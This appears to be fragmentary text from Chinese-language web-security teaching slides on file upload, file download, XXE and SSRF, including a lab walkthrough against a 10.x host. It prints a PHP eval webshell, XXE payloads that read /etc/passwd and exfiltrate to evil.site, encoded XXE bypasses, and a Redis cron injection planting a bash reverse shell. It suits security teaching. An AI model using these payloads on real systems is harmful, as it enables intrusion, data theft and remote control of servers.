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1. 任意文件上传

2. 任意文件下载

3. XXE（XML外部实体注入）

4. SSRF（服务器端跨站请求伪造）



上传可执行的动态脚本文件



微人大文件上传页面





读取文件的原始文

件名 得出文件的扩展名



Web脚本语言

Flash的策略文件

病毒、木马文件

钓鱼图片或包含了脚本的图片





文件管理、

端口扫描、提权、获取系统信息







一键获取服务器控制权







$_POST[x]:

eval()

@





PHP: <?php @eval($_POST[x]); ?>









type







71.73 = 0x47.0x49

137.80 = 0x89.0x50

255.216 = 0xff.0xd8





图片解
析器下

PHP解析器下







没有过滤.htaccess文件

.htaccess
文件内容



在存储文件时

在存储时才

去掉



后面的数据直接忽略

文件保存在本地时，%00会截断文件名











白名单

黑名单

正则表达式匹配

长度限制





用户

自定义的标签





<!DOCTYPE 根元素 SYSTEM "文件名">

note.xml note.dtd



变量

% %

&

%



内部实体

外部实体

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">    
%name;
]>

参数实体，这里将节点a的
值设置为file:///etc/passwd
读取到的内容

/etc/passwd








使用php的filter协议以base64编码的方式读取php文件内容



正常情况

xxe oob



不允许在内层实体中使用外部连接

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://evil.site/evil.xml">
%remote;%all;
]>
<root>&send;</root> <!ENTITY % all 

"<!ENTITY send SYSTEM 'http://evil.site/1.php?file=%file;'>"
>

上传的恶意xml

evil.xml





Base64：<!DOCTYPE test [ <!ENTITY % init SYSTEM 

"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

utf-7：<!xml version="1.0" encoding="UTF-7"?-->+ADw-+ACE-

DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-

SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-

stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-

/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-

/stockCheck+AD4-







libxml_disable_entity_loader(true);





Lab: SQL injection with filter bypass via XML encoding | 

Web Security Academy (portswigger.net)

https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding








客户端发到服务端 服

务端发到另一个服务端

当前用户

客户端

其他用户 服务器或其所

在的内网



从其他服务器应用获

取数据



文件读取

端口扫描

访问内网ip

Redis

Mysql

ftp

telnet

…



前面所说的任意文件下载/读取就是因为这个函数造成的问题。

最经典的ssrf，下面主要讲解。



内网或需要从内网

访问的页面

Http协议

File协议

Dict协议

Gopher协议





Apache2 Debian Default Page: It works

10.10.17.18:2000/ssrf/admin.php

10.10.17.18:2000/ssrf/ssrf.php?url=http://127.0.0.1/ssrf/admin.php

http://10.10.17.18:2000/ssrf/ssrf.php?url=127.0.0.1
http://10.10.17.18:2000/ssrf/admin.php
http://10.10.17.18:2000/ssrf/ssrf.php?url=http://127.0.0.1/ssrf/admin.php


10.10.17.18:2000/ssrf/ssrf.php?url=file:///flag

http://10.10.17.18:2000/ssrf/ssrf.php?url=file:///flag


10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:3306

http://10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:3306


这里嗅探出6380端口有redis
服务



向系统写入文件





10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:6380/info

http://10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:6380/info






可以控制数据流



*4：表示4个参数 config、set、dir、/var/www/html

$6：表示每个参数的字节长度 config长度为6

相当于执行了“config set dir /var/www/html”



set xxx "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 
0>&1\n\n\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

quit



原始内容







查看数据库

写入一句
话木马


